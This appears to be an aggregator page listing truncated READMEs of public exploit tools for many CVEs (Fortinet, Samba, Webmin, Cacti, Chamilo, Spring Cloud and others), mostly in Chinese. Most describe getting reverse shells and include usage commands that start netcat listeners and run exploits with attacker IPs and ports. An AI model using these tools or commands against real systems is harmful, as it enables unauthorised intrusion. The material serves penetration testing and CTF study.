SSRFX

CVE-2014-4210+Redis未授权访问 安装 root@kitploit: pip install -r requirements.txt 使用 root@kitploit: usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h,...

CVE-2022-46169_POC

CVE-2022-46169 漏洞利用 获取反向Shell root@kitploit: cactiexploit.py...

cve-2022-42475-Fortinet

cve-2022-42475 利用 Fortinet SSLVPN 守护进程中堆溢出的 POC 代码 使用方法 pip install pwntools 要使用此代码，你可以将其保存到文件中，例如 exploit.py，然后在命令行中使用 Python 运行它，并传入所需参数。以下是运行该漏洞利用程序的示例命令： python exploit.py 将 替换为目标系统的主机名或 IP 地址，将 替换为易受攻击服务的端口号，将 替换为您希望接收 shell 的机器 IP 地址。其余参数是您要执行的命令，以空格分隔。 例如，如果目标系统的 IP 地址为...

CVE-2018-5955

CVE-2018-5955 针对 CVE-2018-5955 GitStack 2.3.10 未认证远程代码执行（RCE）漏洞的利用程序 漏洞利用：GitStack 2.3.10 未认证远程代码执行 日期：18.01.2018 软件链接：https://gitstack.com/ 漏洞利用作者：Kacper Szurek 原始漏洞利用：https://www.exploit-db.com/exploits/43777 网站：https://security.szurek.pl/ 类别：远程 CVE：CVE-2018-5955 由 MikeTheHash 修改的 Exploit...

CVE-2007-2447-RCE

此漏洞利用可帮助您获得反弹shell，利用Samba 3.0.20 3.0.25 · 使用python3执行脚本时带--help参数，会提示我们输入一系列参数 root@kitploit: --lhost LHOST 你的主机（接收shell的IP） --lport LPORT 你的端口（接收shell的端口） --rhost RHOST 远程主机（受害机器的IP） --rport RPORT 远程端口（受害机器的端口） · 运行脚本前请执行以下操作 root@kitploit: pip3 install pysmb · 示例 root@kitploit: python3...

CVE-2021-31762

..| CVE-2021-31762 |.. 描述： 利用跨站请求伪造（CSRF）攻击，通过Webmin的添加用户功能创建特权用户，然后通过Webmin的运行进程功能获取反向Shell 测试版本： Webmin 1.973（GitHub最新版本 2021年7月3日） 攻击类型： 远程 影响： 远程命令执行 利用代码POC： YouTube POC： https://youtu.be/qCvEXwyaF5U 产品供应商： https://www.webmin.com 附加信息：...

OffensivePascal-CVE-2010-2075

CVE-2010-2075 FreePascal 实现的 CVE-2010-2075 漏洞利用 漏洞信息 UnrealIRCd 3.2.8.1 通过向任意监听服务发送 "AB; command" 实现远程代码执行（RCE）。发送的任何命令都将以 UnrealIRCD 运行的用户身份执行。 此实现会向你的监听器发起一个反向 shell。 步骤 1 启动一个监听器，例如 netcat -lvp 4444 步骤 2 执行漏洞利用 ./exploit ，其中 host ip 和 port 是你的监听器运行的地址和端口。 依赖要求 Synapse。如果你没有安装，可以通过 OPM 进行安装。...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

本脚本针对Nexus Repository Manager3 EL注入（CVE-2018-16621）漏洞，一键执行漏洞利用反弹shell 运行示例： 在攻击机本地运行脚本，根据提示输入靶机ip、端口、本机监听ip、端口，之后即可一键执行漏洞利用代码，GET反弹Shell。...

CVE-2020-15227

CVE-2020-15227 免责声明！对于在真实环境中使用它，我不承担任何责任，所以请不要这样做。这个东西只是为了向系统管理员演示和测试而制作的 我是根据 David Grudl（Nette 基金会的创始人）发布的 CVE 制作了这个漏洞利用程序 作为一名安全研究员，我开发了一个小怪物（当然是为了教育和演示目的，出于道德原因，我也制作了自动修复器） 该安全漏洞利用了 nette.micro 中的 callback 参数。我们不知道这个垃圾为什么存在（可能是后门功能？） 该漏洞利用程序试图从受害者服务器获取反向 shell。URL 在这里是硬编码的，所以不用担心修改漏洞利用程序。 欢迎提...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-概念验证 Chamilo LMS 未授权大文件上传漏洞，可导致远程代码执行 此代码专为 HackTheBox CTF PERMX 制作和使用 Chamilo LMS v1.11.24 及更早版本中的大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 存在未授权文件上传漏洞，允许向服务器上传任意文件，从而允许我们上传 PHP 反向 shell 该脚本通过创建 PHP shell 文件、将其上传到服务器并启动 netcat 监听器，从而获取反向 shell 用法: python exploit....

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC 免责声明 我并未发现此漏洞，也不对此负责。此脚本仅是我为CTF更轻松地利用此漏洞而构建的。原始信息请参考：https://github.com/c53elyas/CVE-2023-33733 此脚本仅是一个用于利用CVE-2023-33733的快速Python3脚本。您需要提供主机、端口、命令以及有效的会话cookie。 帮助菜单 root@kitploit: kali@kali:/Desktop$ python3 exp.py --help usage: foothold.py -h --host HOST --port PORT --cmd CM...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc 针对 CVE-2019-12840 的独立 PoC。 下面将在 443 端口反弹一个反向 shell root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | | \ /...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE CVE-2007-2447 用Python编写的漏洞利用程序，用于获取反向shell...

EFS_CVE-2021-43217

EFS Bypass VulnerabilityCVE-2021-43217 Objective This vulnerability demonstration aimed to establish a controlled environment for simulating an EFS bypass on windows 10 through Kali Linux. The primary focus was to perform a vulnerability pentration and show the possiblity of controlling a desktop...

cve-2020-14008

CVE-2020-14008 ManageEngine 漏洞利用 这是什么？ 此脚本利用 ManageEngine Applications Manager 中的 CVE-2020-14008 漏洞来获取具有 SYSTEM 权限的反向 shell。 依赖要求 root@kitploit: pip3 install requests urllib3 如何使用 1. 启动监听器 root@kitploit: nc -nlvp 9001 2. 运行漏洞利用脚本 root@kitploit: python3 cve-2020-14008-exploit.py 示例 root@kitploit:...

CVE-2022-22963_Reverse-Shell-Exploit

CVE-2022-22963 反弹 Shell 漏洞利用 这是一个 Python 脚本，用于利用 CVE-2022-22963，这是 Spring Cloud Function 中的一个远程代码执行漏洞，允许攻击者在存在漏洞的服务器上执行任意代码。该漏洞利用脚本使用存在漏洞的 /functionRouter 端点，在目标服务器上执行命令。 用法 要使用此漏洞利用，只需运行脚本并使用 -u 选项指定存在漏洞的服务器的 URL。脚本会检查服务器是否存在漏洞，并提示用户是否要尝试获取反弹 Shell。如果用户选择继续，脚本将启动一个 netcat 监听器，并尝试在目标服务器上执行指定命令。...

CVE-2021-41773-Playground

CVE-2021-41773-Playground Algunas imágenes de Docker para jugar con CVE-2021-41773 y CVE-2021-42013 Ejecuta docker compose up -d para levantar todos los contenedores. Los servidores se ejecutarán en los puertos 8080, 8081, 8082 y 8083. 8080 contiene un Apache 2.4.49 con CGI deshabilitado. 8081...

CVE-2023-422-Chamilo-LMS-RCE

先决条件 root@kitploit: pip install requests 信息 该Python脚本利用漏洞CVE-2023-422将文件上传到服务器，并使用该文件向netcat监听器发送反弹shell，整个过程无需身份验证。然而，你需要按照以下步骤来成功使用该Python脚本。 启动netcat监听器： root@kitploit: nc -lnvp 4444 执行Python脚本（示例）： root@kitploit: python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445"...

CVE-2023-27163-AND-Mailtrail-v0.53

自动漏洞利用 摘要 下面的利用程序滥用 Requests Baskets v1.2.1 SSRF 漏洞，将运行在 127.0.0.1:80 的内部应用转发至位于 /pwned 的外部应用。一旦 Mailtrail v0.53 应用被转发，该利用程序便会对其执行反弹 Shell 命令，几秒钟内用户即可在目标机器上获得一个反弹 Shell。 命令 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT 所利用的漏洞： CVE-2023-27163 Mailtrail v0.53 致...

fusionpbx_rce_vulnerability

前言 这段简单的代码试图完整实现由Dustin Cobb在使用来电显示实现RCE – FusionPBX的多个漏洞中介绍的链式漏洞。 远程代码执行 复现步骤 1. 在Web浏览器中查看存在漏洞的操作员屏幕，本例位于 https://fusionpbxaddress/app/operatorpanel/index.php 2. 在远程系统（rcelisteneraddress）上启动一个netcat监听器.x 3. 在远程系统的另一个终端窗口中运行下面的漏洞利用代码 python3 .\main.py --closercesockets False --attackeraddress...